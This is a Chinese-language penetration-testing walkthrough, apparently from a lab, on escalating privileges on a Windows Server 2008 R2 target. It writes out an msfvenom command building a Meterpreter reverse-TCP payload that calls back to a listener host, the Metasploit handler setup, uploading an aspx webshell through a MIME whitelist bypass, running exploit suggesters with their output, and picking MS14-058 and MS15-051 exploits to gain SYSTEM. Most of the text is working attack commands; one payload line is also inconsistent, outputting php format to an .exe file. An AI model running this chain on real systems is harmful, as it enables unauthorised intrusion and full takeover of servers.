赞
踩
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
(1)生成攻击载核:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.97.130 lport=12345 -f php > 64.exe
(2)msf开启监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.97.130
set lport 12345
exploit
(3)利用文件上传的MIME白名单类型突破,上传了up.aspx大马,然后上传64.exe并执行,后得到一个低权限的shell:
(4)当前session下执行漏洞检测模块:
run post/multi/recon/local_exploit_suggester
#这里没有扫描到漏洞,可以换个方法扫描
[+] 192.168.97.131 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 192.168.97.131 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 192.168.97.131 - exploit/windows/local/ms10_092_schelevator: The target appears to be vulnerable.
[+] 192.168.97.131 - exploit/windows/local/ms13_053_schlamperei: The target appears to be vulnerable.
[+] 192.168.97.131 - exploit/windows/local/ms13_081_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.97.131 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable.
[+] 192.168.97.131 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable.
[+] 192.168.97.131 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The target service is running, but could not be validated.
[+] 192.168.97.131 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 192.168.97.131 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable.
当然了也可以指定session进行漏洞检测:
background #挂起某session
use post/multi/recon/local_exploit_suggester #使用suggester模块
show options
set seesion 1
exploit
(5)挂起session,在Metasploit控制台下search搜索2008
search 2008
#根据关键字搜索,晒选结果中local目录下的都是本地提权模块
exploit/windows/local/ms10_092_schelevator
exploit/windows/local/ms13_005_hwnd_broadcast
exploit/windows/local/ms14_058_track_popup_menu
exploit/windows/local/ms15_051_client_copy_image
exploit/windows/local/ms18_8120_win32k_privesc
exploit/windows/local/novell_client_nwfs
(6)挂起当前session,测试以上扫描出来的提权模块:
在测试过程中,发现了一些exp其实是不支持Windows Server 2008 R2 x64 的:
在测试的过程,也发现总是报错“Running against 64-bit systems is not supported”,也就是当前exp不支持在64位系统上运行:
我们手工查找CVE-2014-4113也就是MS14-058:
以下是使用方法:
所以需要上传该exp,执行即可获得system权限:
(1)systeminfo
#在终端下可以使用命令systeminfo 来查看系统的一些补丁信息
主机名: WIN-HRKJ54V1GSJ OS 名称: Microsoft Windows Web Server 2008 R2 OS 版本: 6.1.7601 Service Pack 1 Build 7601 OS 制造商: Microsoft Corporation OS 配置: 独立服务器 OS 构件类型: Multiprocessor Free 注册的所有人: Windows 用户 注册的组织: 产品 ID: 00500-001-0000635-84743 初始安装日期: 2019/3/3, 16:24:34 系统启动时间: 2022/7/8, 19:20:52 系统制造商: VMware, Inc. 系统型号: VMware7,1 系统类型: x64-based PC 处理器: 安装了 2 个处理器。 [01]: Intel64 Family 6 Model 158 Stepping 10 GenuineIntel ~2304 Mhz [02]: Intel64 Family 6 Model 158 Stepping 10 GenuineIntel ~2304 Mhz BIOS 版本: VMware, Inc. VMW71.00V.18452719.B64.2108091906, 2021/8/9 Windows 目录: C:\Windows 系统目录: C:\Windows\system32 启动设备: \Device\HarddiskVolume1 系统区域设置: zh-cn;中文(中国) 输入法区域设置: zh-cn;中文(中国) 时区: (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐 物理内存总量: 4,095 MB 可用的物理内存: 3,009 MB 虚拟内存: 最大值: 8,188 MB 虚拟内存: 可用: 6,481 MB 虚拟内存: 使用中: 1,707 MB 页面文件位置: C:\pagefile.sys 域: WORKGROUP 登录服务器: 暂缺 修补程序: 安装了 2 个修补程序。 [01]: KB2999226 [02]: KB976902 网卡: 安装了 1 个 NIC。 [01]: Intel(R) 82574L Gigabit Network Connection 连接名: 本地连接 3 启用 DHCP: 否 IP 地址 [01]: 192.168.97.131 [02]: fe80::1500:890e:9395:59d8
(2)Windows-Exploit-Suggester
#一款基于python的补丁检测工具
(3)Windows-Exploit-Suggester:下载地址
(4)Windows-Exploit-Suggester用法:
pip install xlrd==1.2.0
#安装xlrd扩展
/windows-exploit-suggester.py --update
#更新补丁库
【若更新出错,手工下载也许,传送门】
(5)补丁库的内容:
(6)根据systeminfo信息,查找可以利用的漏洞:
windows-exploit-suggester.py --database 2022-07-08-mssb.xlsx --systeminfo 2008_systeminfo.txt > 2008_exp.txt
(7)查找指定系统的可以用的漏洞:
windows-exploit-suggester.py --database 2022-07-08-mssb.xlsx --ostext "windows server 2008 R2"
(8)显示可利用的本地提权的条目
windows-exploit-suggester.py --audit -l --database 2022-07-08-mssb.xlsx --systeminfo 2008_systeminfo.txt >2008_privilege_escalation.txt
(9)在靶机上测试ms15-051的exp
(10)在靶机上测试ms15-051的另外一个exp,Taihou64.exe
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。